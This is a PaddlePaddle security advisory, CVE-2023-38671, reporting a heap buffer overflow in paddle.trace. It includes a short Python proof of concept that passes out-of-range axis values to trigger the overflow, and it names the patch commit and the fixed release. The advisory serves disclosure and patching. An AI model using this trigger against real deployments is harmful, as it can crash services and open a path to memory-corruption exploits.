PDSA-2023-003: Heap buffer overflow in paddle.trace

CVE Number

CVE-2023-38671

Impact

paddle.trace has a heap buffer overflow. The PoC is as follows:

import paddle
import numpy as np
from paddle import trace

x = paddle.to_tensor(np.random.uniform(-10, 10, [2, 2, 2]).astype(np.float64))
offset = paddle.to_tensor(np.random.uniform(-10, 10, []).astype(np.int32))
axis1 = paddle.to_tensor(np.random.uniform(-6666666, -2, []).astype(np.int32))
axis2 = paddle.to_tensor(np.random.uniform(-6666666, -2, []).astype(np.int32))

trace(x, offset, axis1, axis2)

Patches

We have patched the issue in commit 12549dfe3e87a4c30f852d2eca81d7f67c8daa87. The fix will be included in PaddlePaddle 2.5.0.
